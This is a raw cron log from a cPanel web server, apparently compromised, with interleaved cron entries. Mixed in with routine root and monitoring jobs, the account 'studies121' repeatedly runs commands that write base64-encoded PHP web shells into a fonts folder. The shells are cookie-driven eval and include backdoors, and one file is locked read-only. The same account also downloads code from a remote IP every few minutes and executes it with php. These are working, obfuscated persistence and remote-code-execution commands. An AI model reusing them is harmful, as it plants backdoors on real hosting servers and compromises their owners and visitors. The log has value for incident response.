Sep  2 21:06:01 ip-184-168-122-23 CROND[12437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:07:01 ip-184-168-122-23 CROND[12525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:07:01 ip-184-168-122-23 CROND[12527]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:07:01 ip-184-168-122-23 CROND[12530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:07:01 ip-184-168-122-23 CROND[12529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:08:01 ip-184-168-122-23 CROND[12609]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:08:01 ip-184-168-122-23 CROND[12610]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 21:08:01 ip-184-168-122-23 CROND[12614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:08:01 ip-184-168-122-23 CROND[12612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:08:01 ip-184-168-122-23 CROND[12613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:09:01 ip-184-168-122-23 CROND[12698]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:09:01 ip-184-168-122-23 CROND[12701]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 21:09:01 ip-184-168-122-23 CROND[12702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:09:01 ip-184-168-122-23 CROND[12700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:09:01 ip-184-168-122-23 CROND[12703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:10:01 ip-184-168-122-23 CROND[12800]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 21:10:01 ip-184-168-122-23 CROND[12801]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 21:10:01 ip-184-168-122-23 CROND[12808]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 21:10:01 ip-184-168-122-23 CROND[12806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:10:01 ip-184-168-122-23 CROND[12810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:10:01 ip-184-168-122-23 CROND[12811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:10:01 ip-184-168-122-23 CROND[12809]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 21:10:01 ip-184-168-122-23 CROND[12807]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:11:01 ip-184-168-122-23 CROND[12908]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:11:01 ip-184-168-122-23 CROND[12912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:11:01 ip-184-168-122-23 CROND[12911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:11:01 ip-184-168-122-23 CROND[12910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:12:01 ip-184-168-122-23 CROND[13079]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:12:01 ip-184-168-122-23 CROND[13081]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 21:12:01 ip-184-168-122-23 CROND[13084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:12:01 ip-184-168-122-23 CROND[13083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:12:01 ip-184-168-122-23 CROND[13082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:13:01 ip-184-168-122-23 CROND[13171]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:13:01 ip-184-168-122-23 CROND[13173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:13:01 ip-184-168-122-23 CROND[13174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:13:01 ip-184-168-122-23 CROND[13175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:14:01 ip-184-168-122-23 CROND[13257]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:14:01 ip-184-168-122-23 CROND[13261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:14:01 ip-184-168-122-23 CROND[13262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:14:01 ip-184-168-122-23 CROND[13259]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 21:14:01 ip-184-168-122-23 CROND[13260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:15:01 ip-184-168-122-23 CROND[13349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:15:01 ip-184-168-122-23 CROND[13350]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:15:01 ip-184-168-122-23 CROND[13351]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 21:15:01 ip-184-168-122-23 CROND[13353]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 21:15:01 ip-184-168-122-23 CROND[13355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:15:01 ip-184-168-122-23 CROND[13356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:16:01 ip-184-168-122-23 CROND[13457]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 21:16:02 ip-184-168-122-23 CROND[13460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:16:02 ip-184-168-122-23 CROND[13461]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:16:02 ip-184-168-122-23 CROND[13462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:16:02 ip-184-168-122-23 CROND[13459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:16:02 ip-184-168-122-23 CROND[13463]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 21:17:01 ip-184-168-122-23 CROND[13636]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:17:01 ip-184-168-122-23 CROND[13637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:17:01 ip-184-168-122-23 CROND[13640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:17:01 ip-184-168-122-23 CROND[13639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:18:01 ip-184-168-122-23 CROND[13722]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:18:01 ip-184-168-122-23 CROND[13724]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 21:18:01 ip-184-168-122-23 CROND[13726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:18:01 ip-184-168-122-23 CROND[13725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:18:01 ip-184-168-122-23 CROND[13727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:19:01 ip-184-168-122-23 CROND[13830]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
